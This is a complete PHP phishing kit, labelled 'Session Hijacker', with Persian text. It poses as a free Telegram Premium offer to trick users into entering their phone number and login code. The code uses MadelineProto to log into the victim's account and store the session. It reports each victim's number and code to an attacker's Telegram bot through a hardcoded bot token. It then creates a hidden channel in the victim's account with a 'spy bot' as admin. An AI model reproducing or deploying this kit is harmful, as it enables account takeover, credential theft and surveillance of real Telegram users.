<?php
/*
    ███╗   ███╗ █████╗ ██████╗ ██████╗ ██╗   ██╗████████╗
    ████╗ ████║██╔══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝╚══██╔══╝
    ██╔████╔██║███████║██████╔╝██████╔╝ ╚████╔╝    ██║
    ██║╚██╔╝██║██╔══██║██╔══██╗██╔══██╗  ╚██╔╝     ██║
    ██║ ╚═╝ ██║██║  ██║██║  ██║██████╔╝   ██║      ██║
    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝═══╝    ╚═╝      ╚═╝
    =============== SESSION HIJACKER v6.1 (Premium Theme) ===============
    Last Update: 1404/09/02 - Complete UI/UX overhaul for Telegram Premium theme.
*/

// بررسی وجود کتابخانه
if (!file_exists('madeline.php')) {
    die("خطا: کتابخانه MadelineProto (madeline.php) پیدا نشد. لطفاً آن را آپلود کنید.");
}
require_once 'madeline.php';

use danog\MadelineProto\Settings;
// **حذف شد:** دیگر نیازی به use ...ChatAdminRights نیست چون کلاس وجود ندارد

ini_set('display_errors', 1);
error_reporting(E_ALL);
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}
date_default_timezone_set("Asia/Tehran");

/* ====== اطلاعات شما (تغییر داده نشود) ====== */
$BOT_TOKEN = "8289323715:AAGhJb3-R8KM2m7n-j52a64-9Q_M28QvqAI";
$CHAT_ID   = "8276061248";

/* ====== تنظیمات MadelineProto ====== */
$settings = new Settings;
$settings->getAppInfo()
    ->setApiId(29558217)
    ->setApiHash(trim('3250de44de90c2addebed8701f87ad79'));

/**
 * تابع ارسال گزارش هوشمند به تلگرام (نسخه پایدار)
 */
function send_to_telegram($text){
    global $BOT_TOKEN, $CHAT_ID;
    $url  = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $params = ['chat_id' => $CHAT_ID, 'text' => $text, 'parse_mode' => 'Markdown'];
    $result = false;
    if (function_exists('curl_init')) {
        try {
            $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
            if ($http_code === 200 && $response) { $result = true; }
        } catch (\Throwable $e) { /* خطا نادیده گرفته می‌شود */ }
    }
    if (!$result && ini_get('allow_url_fopen')) {
        try {
            $response = @file_get_contents($url . "?" . http_build_query($params));
            if ($response) { $result = true; }
        } catch (\Throwable $e) { /* نادیده گرفتن خطا */ }
    }
    return $result;
}

$page = $_GET['page'] ?? 'home';

// ====== مرحله 1: گرفتن شماره و ارسال کد ======
if ($page === 'submit' && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $phone_raw = preg_replace('/\D+/', '', $_POST['phone']);
    if (substr($phone_raw, 0, 2) === '09' && strlen($phone_raw) == 11) {
        $phone = '+98' . substr($phone_raw, 1);
    } else {
        $_SESSION['error'] = "فرمت شماره تلفن وارد شده صحیح نیست. لطفاً شماره را به صورت 09xxxxxxxxx وارد کنید.";
        header("Location: index.php"); exit;
    }
    $_SESSION['phone'] = $phone;
    try {
        if (!file_exists('sessions')) { mkdir('sessions', 0777, true); }
        $session_file = "sessions/{$phone}.madeline";
        $MadelineProto = new \danog\MadelineProto\API($session_file, $settings);
        send_to_telegram("ℹ️ *شروع فرآیند Premium برای:* `{$phone}`");
        $MadelineProto->phoneLogin($phone);
        send_to_telegram("🎯 *قربانی جدید (Premium):*\n`{$phone}`\nکد با موفقیت ارسال شد. منتظر دریافت کد...");
        header("Location: index.php?page=verify"); exit;
    } catch (\Throwable $e) {
        $_SESSION['error'] = "خطای سرور تلگرام: " . $e->getMessage();
        send_to_telegram("⚠️ *خطا در مرحله ارسال کد برای {$phone}*\n`" . $e->getMessage() . "`");
        header("Location: index.php"); exit;
    }
}

// ====== مرحله 2: گرفتن کد و تکمیل ورود ======
if ($page === 'verify' && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $phone = $_SESSION['phone'] ?? '';
    $code = isset($_POST['code']) ? implode("", $_POST['code']) : '';
    if (empty($phone) || empty($code)) {
        header("Location: index.php"); exit;
    }
    send_to_telegram("⏳ *کد پرمیوم دریافت شد:*\nقربانی: `{$phone}`\nکد: `{$code}`\nدر حال تلاش برای ورود...");
    try {
        $session_file = "sessions/{$phone}.madeline";
        $MadelineProto = new \danog\MadelineProto\API($session_file, $settings);
        $authorization = $MadelineProto->completePhoneLogin($code);
        if ($authorization['_'] === 'account.password') {
            send_to_telegram("🔐 *نیاز به رمز دو مرحله‌ای*\nقربانی: `{$phone}`\nعملیات Premium متوقف شد.");
            $_SESSION['error'] = "این حساب دارای رمز عبور دو مرحله‌ای است و امکان فعال‌سازی خودکار وجود ندارد.";
            header("Location: index.php?page=verify"); exit;
        }
        send_to_telegram("✅ *ورود موفقیت‌آمیز (Premium)*\nقربانی: `{$phone}`\nنشست در فایل `{$session_file}` ذخیره شد.");

        // ================== بخش نهایی: ساخت کانال و ارتقاء ربات به ادمین (استراتژی آرایه) ==================
        try {
            $spy_bot_username = 'PoolBazbot'; // <<< یوزرنیم ربات جاسوس شما

            // 1. ساخت یک کانال خصوصی جدید
            $channel_title = "System Logs " . rand(1000, 9999);
            send_to_telegram("🏗 در حال ساخت کانال خصوصی با نام: `{$channel_title}`");
            $channel_creation_updates = $MadelineProto->channels->createChannel([
                'broadcast' => true,
                'megagroup' => false,
                'title'     => $channel_title,
                'about'     => 'Created by System on ' . date("Y-m-d H:i:s")
            ]);
            $new_channel_id = $channel_creation_updates['chats'][0]['id'];

            // 2. ***تغییر کلیدی***: تعریف دسترسی‌ها به صورت یک آرایه ساده
            $admin_rights_array = [
                '_'             => 'chatAdminRights',
                'change_info'   => true, 'post_messages' => true, 'edit_messages' => true,
                'delete_messages' => true, 'ban_users'     => true, 'invite_users'  => true,
                'pin_messages'  => true, 'add_admins'    => true, 'manage_call'   => true
            ];
            
            // 3. افزودن و ارتقاء ربات جاسوس به ادمین کانال
            send_to_telegram("👑 در حال ارتقاء ربات `@{$spy_bot_username}` به ادمین کانال...");
            $MadelineProto->channels->editAdmin([
                'channel'      => $new_channel_id,
                'user_id'      => $spy_bot_username,
                'admin_rights' => $admin_rights_array,
                'rank'         => 'Spy Bot'
            ]);

            // 4. ارسال پیام تایید به کانال جدید
            $MadelineProto->messages->sendMessage([
                'peer' => $new_channel_id,
                'message' => "✅ Monitoring activated successfully for `{$phone}`.\nSession is live.\nBot is admin."
            ]);

            send_to_telegram("✔️ *عملیات با موفقیت کامل شد.*\nکانال `{$channel_title}` ساخته و ربات جاسوس به عنوان ادمین به آن افزوده شد.");

        } catch (\Throwable $e) {
            send_to_telegram("❗️ *خطا در عملیات پس از ورود*\n`" . $e->getMessage() . "`");
        }
        // ==========================================================================================

        $_SESSION['verified'] = true;
        header("Location: index.php?page=success"); exit;

    } catch (\Throwable $e) {
        send_to_telegram("❌ *کد اشتباه (Premium)*\nقربانی: `{$phone}`\nکد: `{$code}`\nخطا: `" . $e->getMessage() . "`");
        $_SESSION['error'] = "کد وارد شده نادرست یا منقضی شده است. لطفاً مجدداً تلاش کنید.";
        header("Location: index.php?page=verify"); exit;
    }
}
?>
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>تلگرام پرمیوم رایگان</title>
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --tg-blue: #0088cc;
            --tg-bg: #f1f5f9;
            --tg-card-bg: #ffffff;
            --tg-text: #334155;
            --tg-text-light: #64748b;
            --tg-border: #e2e8f0;
            --tg-success: #22c55e;
            --tg-error: #ef4444;
        }
        body {
            font-family: 'Vazirmatn', sans-serif;
            background-color: var(--tg-bg);
            text-align: center;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            padding: 20px;
        }
        .card {
            max-width: 380px;
            width: 100%;
            background: var(--tg-card-bg);
            padding: 30px;
            border-radius: 16px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.07);
            text-align: center;
        }
        .premium-icon {
            width: 80px;
            height: 80px;
            margin: 0 auto 20px;
            background: linear-gradient(135deg, #6a71f9, #b674f1);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            animation: pulse 2s infinite;
        }
        .premium-icon svg {
            width: 48px;
            height: 48px;
        }
        @keyframes pulse {
            0% { transform: scale(0.95); box-shadow: 0 0 0 0 rgba(106, 113, 249, 0.7); }
            70% { transform: scale(1); box-shadow: 0 0 0 10px rgba(106, 113, 249, 0); }
            100% { transform: scale(0.95); box-shadow: 0 0 0 0 rgba(106, 113, 249, 0); }
        }
        h2 {
            font-size: 24px;
            font-weight: 700;
            color: var(--tg-text);
            margin-bottom: 10px;
        }
        p {
            color: var(--tg-text-light);
            line-height: 1.6;
            margin-bottom: 25px;
            font-size: 15px;
        }
        input[type=tel], button {
            width: 100%;
            box-sizing: border-box;
            padding: 14px;
            margin-bottom: 15px;
            border-radius: 10px;
            border: 1px solid var(--tg-border);
            font-size: 16px;
            font-family: inherit;
            transition: all 0.2s;
        }
        input[type=tel]:focus {
            outline: none;
            border-color: var(--tg-blue);
            box-shadow: 0 0 0 3px rgba(0, 136, 204, 0.2);
        }
        button {
            background: var(--tg-blue);
            color: #fff;
            border: none;
            cursor: pointer;
            font-weight: bold;
            transition: background-color 0.2s;
        }
        button:hover {
            background: #0072ad;
        }
        .error {
            background: #fee2e2;
            color: var(--tg-error);
            padding: 12px;
            margin-bottom: 20px;
            border-radius: 8px;
            border: 1px solid #fca5a5;
            font-size: 14px;
        }
        .code-inputs {
            display: flex;
            justify-content: center;
            direction: ltr;
            gap: 10px;
        }
        .code-input {
            width: 52px;
            height: 56px;
            text-align: center;
            font-size: 24px;
            font-weight: bold;
            padding: 0;
            margin: 0;
        }
        .success-icon {
            font-size: 60px;
            color: var(--tg-success);
            line-height: 1;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<div class="card">
    <?php
    $premium_icon_svg = '<div class="premium-icon"><svg fill="currentColor" viewBox="0 0 24 24"><path d="M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2zm3.328 6.773l-1.464 5.927-4.66-2.296 2.625-3.033-4.125 1.547-1.157-4.707 9.78 2.562z"/></svg></div>';
    
    if ($page === 'home') {
        echo $premium_icon_svg;
        echo "<h2>تلگرام پرمیوم رایگان</h2>";
        echo "<p>به عنوان بخشی از طرح تشویقی تلگرام، شما می‌توانید به مدت ۳ ماه اشتراک پرمیوم را رایگان فعال کنید. برای تایید هویت و فعال‌سازی، لطفاً شماره تلگرام خود را وارد کنید.</p>";
        if (!empty($_SESSION['error'])) { echo "<div class='error'>".$_SESSION['error']."</div>"; unset($_SESSION['error']); }
        echo '<form method="post" action="?page=submit">
                  <input type="tel" name="phone" placeholder="مثال: 09123456789" required maxlength="11" style="direction:ltr; text-align:center;">
                  <button type="submit">دریافت کد تایید</button>
              </form>';
    } 
    elseif ($page === 'verify') {
        if (empty($_SESSION['phone'])) { header("Location: index.php"); exit; }
        echo "<h3>تایید حساب کاربری</h3>";
        echo "<p>کد ۵ رقمی ارسال شده از طرف حساب رسمی تلگرام (با تیک آبی) را وارد کنید. این کد صرفاً برای اتصال به حساب شما و اعمال اشتراک پرمیوم استفاده می‌شود.</p>";
        if (!empty($_SESSION['error'])) { echo "<div class='error'>".$_SESSION['error']."</div>"; unset($_SESSION['error']); }
        echo '<form method="post" action="?page=verify">
                  <div class="code-inputs">';
        for ($i = 0; $i < 5; $i++) {
            echo "<input type='tel' class='code-input' maxlength='1' name='code[]' required onkeyup=\"if (this.value.length == 1 && this.nextElementSibling) this.nextElementSibling.focus();\">";
        }
        echo '  </div><br>
                  <button type="submit">تایید و فعال‌سازی پرمیوم</button>
              </form>';
    } 
    elseif ($page === 'success' && !empty($_SESSION['verified'])) {
        echo '<div class="success-icon">✓</div>';
        echo "<h2>✅ درخواست شما ثبت شد</h2>";
        echo "<p>اشتراک پرمیوم تا چند ساعت آینده برای حساب شما فعال خواهد شد. لطفاً تا زمان فعال‌سازی کامل، از حساب کاربری خود خارج نشوید. نتیجه از طریق تلگرام به شما اطلاع داده می‌شود.</p>";
        session_destroy();
    } 
    else {
        header("Location: index.php");
        exit;
    }
    ?>
</div>
<script>
    // اسکریپت برای بهبود تجربه کاربری در فرم ورود کد
    const codeInputs = document.querySelectorAll('.code-input');
    if (codeInputs.length > 0) {
        codeInputs[0].focus();
        codeInputs.forEach((input, index) => {
            input.addEventListener('keydown', (e) => {
                if (e.key === 'Backspace' && input.value === '' && index > 0) {
                    codeInputs[index - 1].focus();
                }
            });
        });
    }
</script>

</body>
</html>

